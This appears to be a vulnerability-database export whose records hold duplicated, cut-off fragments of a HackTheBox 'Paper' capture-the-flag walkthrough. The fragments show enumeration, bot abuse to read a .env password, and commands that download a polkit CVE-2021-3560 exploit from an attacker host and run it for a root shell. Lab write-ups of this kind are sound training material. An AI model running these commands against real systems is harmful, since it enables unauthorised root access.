Enumeration<o:pWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have much interesting things. From the web page we found it is showing default page of CentOS. <o:p htttp://10.129.74.162<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png Find Domain Name Command used:<o:pcurl -I 10.129.74.162<o:pFlags features:<o:p -I: Include protocol response headers in the output<o:p\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper. We have used Kali inbuilt tool called curl.<o:p https://everything.curl.dev/project<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s[...]", "creation_timestamp": "2026-09-05T02:00:05.127780Z"}, {"uuid": "6405e196-364d-4abb-a87b-765e10ddc5d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81245", "content": "cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/\n\nBackground of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\n\nReference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.\nwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1 \n\nOn the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.\nwget 10.10.14.12/ CVE-2021-3560.py\npython3 CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!\n\nAuthor: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin", "creation_timestamp": "2026-09-05T02:00:05.188008Z"}, {"uuid": "c55208b9-123a-48dc-bdc8-682f1fc58829", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user account.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhQ9KTXy8U0NtSPNTgcSKm6KteH8_U2jxzFFQMAWw37lAaubUMg6tIRDJmA_HWfGZCJgCL0jjPT7A12zhc88qA7ObSTT9nDW833TatC9oGVm0nAWF93bvSEMUekByd9WBGHticCYxgRneVfb9cPvrhZxI1BI4Yj59MWXf_e0KQEwLVvoXbfGAA8Bt-N2Q/s16000/18.png?w=640&ssl=1 \n\nNow we know the importance of the environment files in a Linux distribution. Let\u2019s check .env file to test the theory we have discussed above. We can view the file contests by providing directory path and the file name with file command.\nfile ../hubot/.env \nAs we can see a plain texted password from the .env file. We got the password but not the username so, from the penetration testing methodology we can check this password against all users that we have seen in the messages. We tested obtained password on SSH service against all users and got success on Dwight. \nUsername: dwight\nPassword: Queenofblad3s!23 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEilQwsSiUpOqjs59eEf_i8kkzGL_qjLHV5HMniVMxW0coxAe4EzVY7NkVneF9B9VrkVJEf3oDbeMR1VGrq462wOhty2UlQdjh9tyBxyZgWM4jGATuCMHoFMdi6542pnVC5c-h8zFdqQY4Kz-rcDDlS5WFqgZTIjXaXVvAmWQEByaBy6d-qiYqsDjAQopA/s16000/19.png?w=640&ssl=1 User flagWe successfully logged in via SSH as Dwight into the target machine. We can grab the user flag from the user home directory. Also, we need to escalate privilege, so we transferred linpeas script into the target /tmp directory. Please note, we need to setup the python server into our kali machine to transfer the script to the target machine.\u00a0 Also, we have given full permission to the linpeas script to execute it. For more information about Linux file permissions, feel free to visit the below link: https://www.guru99.com/file-permissions.html#:~:text=Linux%20divides%20the%20file%20permissions,ownership%20of%20a%20file%2Fdirectory.\nssh dwight@10.129.74.162\npython3\u00a0-m\u00a0http.server\u00a080\nwget\u00a010.10.14.12/linpeas.sh\nchmod\u00a0777\u00a0linpeas.sh\u00a0\n./linpeas.sh \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-R3hL-Kzo8T3kNW4gxUPx71lRs4h020ChnU55hHg8nKoBJnUeTF5FgygLbBkWtPKJzA4IuHYpMtXZiIGj48ZX2iJh5izxKl3VdlaOTOa2hcAapBLJeSjS9j5ZFxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png?w=640&ssl=1 Privilege EscalationFrom the linpeas output, we saw few CVEs appear as red which means these CVEs could be potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications. PolicyKit Exploit: CVE-2021-3560After searching those exploits, we found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits work similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Ha[...]", "creation_timestamp": "2026-09-05T02:00:05.231520Z"}, {"uuid": "d20974c8-1eae-4923-94ed-37d644ad023a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation<o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560<o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:<o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/<o:p\n\nBackground of the vulnerability can be found here:<o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/<o:p\n\nReference of the exploit we have used here:<o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py<o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.<o:p Command used to download:<o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. <o:p Command used:<o:pOn target side:<o:p wget 10.10.14.12/ CVE-2021-3560.py<o:ppython3 CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag<o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.<o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!<o:p", "creation_timestamp": "2026-09-05T03:00:05.918605Z"}, {"uuid": "55873286-7ddf-47ff-8d45-0dd495fc4c8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81237", "content": "Hacking Articles\nPaper HackTheBox Walkthrough\n\nPaper is a Linux machine and is considered an easy box the hack the box. On this box, we will begin with a basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read the sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. Successful execution of the exploit will spawn a root shell. Table of ContentInitial Access\n\n* TCP Port Scan\n* Initial Enumeration\n* Find Domain Name\n* Web Page Enumeration\n* Searching For the Exploit\n* Secrets leaking Vulnerability Exploitation\n* Subdomain Enumeration\n* Bot Feature Abuse\n* User Flag\n\nPrivilege Escalation\n\n* PolicyKit Exploit: CVE-2021-3560\n* Root Flag\n\nLet\u2019s exploit it step by step. Initial AccessWe are going to start the assessment with the normal TCP/IP port scanning. TCP Port ScanLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used \u2013sV flag which performs a service version scan against the target machine.\n\nFlags features:\n\n-sV:\u00a0 Attempts to determine the service version\nnmap\u00a0 -sV 10.129.74.162 \nFrom the nmap scan, we have found there were only three ports open, which is port 22,80 and port 443. As usual HTTP service is running on port 80, HTTPS service is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is the latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to do. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png?w=640&ssl=1 \n\nInitial Enumeration\n\nWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have many interesting things. From the web page, we found it is showing default page of CentOS.\nhtttp://10.129.74.162 \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png?w=640&ssl=1 \n\nFind Domain Name \ncurl -I 10.129.74.162 \nFlags features:\n\n-I: Include protocol response headers in the output\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper We have used Kali inbuilt tool called curl. https://everything.curl.dev/project\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s16000/3.png?w=640&ssl=1 \n\nAfter finding the domain name we are adding it to /etc/hosts file in the attacking machine. To add to host\u2019s file you can use any text editor such as leafpad, gedit, nano or vim.\n\nWhy do we need to add domain in the local hosts file?\n\nThe /etc/hosts file contains a mapping of IP addresses to[...]", "creation_timestamp": "2026-09-06T00:01:01.390432Z"}, {"uuid": "c7088867-664f-4e2b-a1b7-99ef95dd4330", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81155", "content": "Fxx4e3ngO6KKI36mZlcqDGcN4murAbTBmibeGf6ah1dpqztS0GFOmjy_jjkAKdM2LA/s16000/20.png Privilege Escalation<o:pFrom the linpeas output, we saw few CVEs appeared as red which means these CVEs could be the potential exploits which may help us to escalate privilege to the root account. A privilege escalation attack is a cyberattack designed to gain unauthorized privileged access into a system. Attackers exploit human behaviours, design flaws or oversights in operating systems or web applications.<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4mioMBWAM4aVHF_j5SLhXbpZZlag4Fl3AnvohQOqOHsexxAbjDUmZHoa6C1eoICQhfsicM8OtpGfOXzrTMRb1yGxLjTLsgNLFkjLzMmjQS6IZF-jjTICZjSX2ZRdhXqnapOIolXwjOctTke6DRHOzw8ki7zTidH8V4_6iKEOVACyBRVFYMXWMEYZGjg/s16000/21.png PolicyKit Exploit: CVE-2021-3560<o:pAfter searching those exploits, we have found many of them require compiling, so we decided to go with CVE-2021-3560 as all these 3 exploits works similarly based on the target system dependencies. Then we found a nice article about the policy kit exploitation the in the Hacking articles which has a very clear instructions to exploit it. The full article is available in the below link:<o:p https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/<o:p\n\nBackground of the vulnerability can be found here:<o:p https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/<o:p\n\nReference of the exploit we have used here:<o:p https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py<o:p\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from the GitHub, you may use other utility as well such as curl.<o:p Command used to download:<o:pwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png On the target side we downloaded the CVE-2021-3560.pyexploit to the target /tmp directory with wget command. Then we execute the python script with python3. <o:p Command used:<o:pOn target side:<o:p wget 10.10.14.12/ CVE-2021-3560.py<o:ppython3 CVE-2021-3560.py<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png Root Flag<o:pAfter successfully execution of the script, it spawned a root shell. Now we can grab root flag from the root directory. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png Conclusion:This machine was fun and was great source of learning, where we have learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chat bot feature abuse, file transfer, file permissions, importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.<o:p\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!<o:p", "creation_timestamp": "2026-09-06T00:01:01.437045Z"}, {"uuid": "325af5a9-c1d9-49ea-9c8f-2d4185603ff5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81151", "content": "Hacking Articles|Raj Chandel's Blog\nPaper HackTheBox Walkthrough\n\nSummaryPaper is Linux machine and considered as easy box by the hack the box. On this box we will begin with basic port scan and move laterally. Then we will enumerate domain name and exploit a secrets leaking vulnerability found in the WordPress plugin which will lead us towards secret chat domain. Then we will create a new user account and enumerate all the conversations and take advantage of the bot feature to read sensitive file which will give us initial foothold to the target machine. Then we will be tasked to gain root access where we will exploit it using policy kit vulnerability found in year 2021 by Kevin Backhouse. A successfully execution of the exploit will spawn a root shell.<o:p Table of content<o:pInitial Access<o:p\n\n* TCP Port Scan<o:p\n* Initial Enumeration<o:p\n* Find Domain Name <o:p\n* Web Page Enumeration<o:p\n* Searching For the Exploit<o:p\n* Secrets leaking Vulnerability Exploitation<o:p\n* Subdomain Enumeration<o:p\n* Bot Feature Abuse<o:p\n* User Flag<o:p\n* Privilege Escalation<o:p\n\n* PolicyKit Exploit: CVE-2021-3560<o:p\n* Root Flag<o:p\n\nLet\u2019s exploit it step by step.<o:p Initial Access<o:pWe are going to start assessment with the normal TCP/IP port scanning.<o:p TCP Port Scan<o:pLet\u2019s start with the port scan. We are using nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool come with Kali Linux. In order to perform port scan, we have used -sV flag which performs a service version scan against the target machine. <o:p\n\nFlags features:<o:p -sV:\u00a0 Attempts to determine the service version<o:p nmap\u00a0 -sV 10.129.74.162<o:pFrom the nmap scan, we have found there were only three ports open, which is port 22,80and port 443. As usual HTTP serviceis running on port 80, HTTPSservice is running on port 443 and the SSH service is running on port 22. Both HTTP and HTTPS service is used for the webhosting and the SSH service is used for remote connection. SSH version is latest, and we did not find any vulnerabilities on SSH version 8.0 and the possible attack we can perform against the SSH service at this stage is bruteforce only which we might not need to. Instead of thinking about the SSH bruteforce let\u2019s start enumerating port 80 and 443. <o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRZb246ahrzPrLy7p8vBU3jJfUB0XqPZ0eEGQg1JaImB8m8C4gmQir10SE818EabllpfLgCkalGNfsu8rnGqacadA_SiBNbVdLbwy453DE15w6kZEJHqE2ZrEO8kRe_tswLKhWaEaJbttBTakJX0N7r_ekjx-oTrp5QbMCZaeAt0tDB10krJf7PH6v4Q/s16000/1.png Initial Enumeration<o:pWe begin enumeration by accessing port 80 and 443 over browser. Webpage does not have much interesting things. From the web page we found it is showing default page of CentOS. <o:p htttp://10.129.74.162<o:phttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgpmVzL26cqrALLxWTo1V5u8CIMbmgqcSsjZWBteqKQ55YbZX4SF6xYs5QkTLBv9U9SrGE3wmpJRvVVMIovg2xjBdNse88CQV-jqS06ceUrewhei1xOXKdyUXXITwxsfooeaITaFKCym3UenwC3cxUy4_LHbKjALNVs8nUs0kn4MYnsMxc12BFoBHsmQQ/s16000/2.png Find Domain Name Command used:<o:pcurl -I 10.129.74.162<o:pFlags features:<o:p -I: Include protocol response headers in the output<o:p\n\nFurther enumeration of the output result, we see X-backend-server revealed its domain name which is office.paper. We have used Kali inbuilt tool called curl.<o:p https://everything.curl.dev/project<o:p https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEil3DhSHT205uFuScczyTDvVUcgZgk1RiJ5Z2cGiggSoV2EqJh2oa2_YVm_LSuJMnkgjgJj6auZdtYm7F3Zj7vT_yLpHpVoGgFo9e6txxVp9iUoXx-znzKeBjUy3s8JnGfh2y8_E0yCLutv0c92ShX6_RNZ0jexiu0dhGRlTjGsMN4qBhwDp8an3U2Uaw/s[...]", "creation_timestamp": "2026-09-06T00:01:01.487104Z"}, {"uuid": "35c58dcb-6bd9-4d7b-bce6-109935112047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81245", "content": "cking articles which has very clear instructions to exploit it. The full article is available in the below link: https://www.hackingarticles.in/linux-privilege-escalation-polkit-cve-2021-3560/\n\nBackground of the vulnerability can be found here: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/\n\nReference of the exploit we have used here: https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py\n\nWe simply downloaded the exploit from the github into our kali machine and transferred it to the target machine as we did earlier to transfer linpeas.\u00a0 We used wget command to download the exploit from GitHub, you may use other utilities as well such as curl.\nwget https://raw.githubusercontent.com/Almorabea/Polkit-exploit/main/CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEghnugKkyEwcmQiD4TGMf01uA4NgrT_By7Bhcxs0NMGZ09dQH8Y3yRH7Nb2R1__i1H7I3tojyL4nHvEcLyPb19bDmgM-GV3FSLKr-kDaLNV2Z1Fr2Tb2DzFbKKSJeCC5StOWVD805aWB0MkVsw7lQBpzZ300D6En0JiI1O5IHTuOVUJzC-MxBPsJeFn_A/s16000/22.png?w=640&ssl=1 \n\nOn the target side we downloaded the CVE-2021-3560.py exploit to the target /tmp directory with wget command. Then we execute the python script with python3.\nwget 10.10.14.12/ CVE-2021-3560.py\npython3 CVE-2021-3560.py \nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiFAr1D4nOZg0shEzGpxvTurQb5t9l-IHsrojp5H08TBex36YWS5-8XvsazPNUYWxGYU5uBgUakosDPhKeRrNeWIGFuEqxXoNFb4uBo72rry5_12YDEj_nq6RWdz76TQF0pN0-SoROQct3GrHYKKbtFdptxpUY_CYOT-FeZI608wzowzLKsyNDwGiNIOw/s16000/23.png?w=640&ssl=1 Root FlagAfter the successful execution of the script, it spawned a root shell. Now we can grab root flag from the root directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkALY9wyk69BHWaaLIBtkxxFbWKeHXPmCa3fRNIDcLlEV6tM9-CxMWWvwfLXy7SHKT9LJ_QlYhQkzFtEZZS5row8f-z71E2-xJMgVnxEDv2Ru8UiAuvZCDwJJ5tcIqPBrGyhRwp6ZVMY2pq_0HP8oVbqFlAKFXl2UKJmvE7nWFXvpLWMv78z11L8VJHw/s16000/24.png?w=640&ssl=1 ConclusionThis machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, Information leakage vulnerability, chatbot feature abuse, file transfer, file permissions, the importance of environment file in the Linux and policy kit vulnerability to perform local privilege escalation.\n\nThank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!\n\nAuthor: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin", "creation_timestamp": "2026-09-06T00:01:01.532734Z"}, {"uuid": "7ddebe27-bd6b-4790-87c8-1f6f89ab4e01", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-3560", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/81243", "content": "standard directory (hubot) present in the Dwight home directory.\n\nhttps://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKUi0zrKcXzpPnrleTjXVUdVuDC1-vslJWMrG_nVruY7ZKQ8ccYYGkZ0calpgZYaLk28PiHA0ApYT9xV_zi3yQYVsFTYJHJrAEsSbf3bbR29r2ZYeFTiNOLEw5GryuPok9Dv6dGa72rtgMBGtsMUN-KGMT_iTw-QJCOgtgV6kT8Xr4a4rBRkACf8J0hQ/s16000/17.png?w=640&ssl=1 \n\nNext, we checked the non-standard directory and listed all the files present in the hubot and notice there is .env file present there. Let\u2019s talk about the environment files in the Linux system and why it is important to enumerate them.\n\nWhat is env file?\n\n.env files are used to store those variables\u00a0and they should be written in all uppercase separated with underscores for naming convention. we access those variables through process.env after installing dotnev npm package.\n\nWhy it is important to check environment files?\n\nThese environment files may contain password in plain taxed format as well as in base64 format. If an attacker found any secrets from this file, then he/she can leverage a user 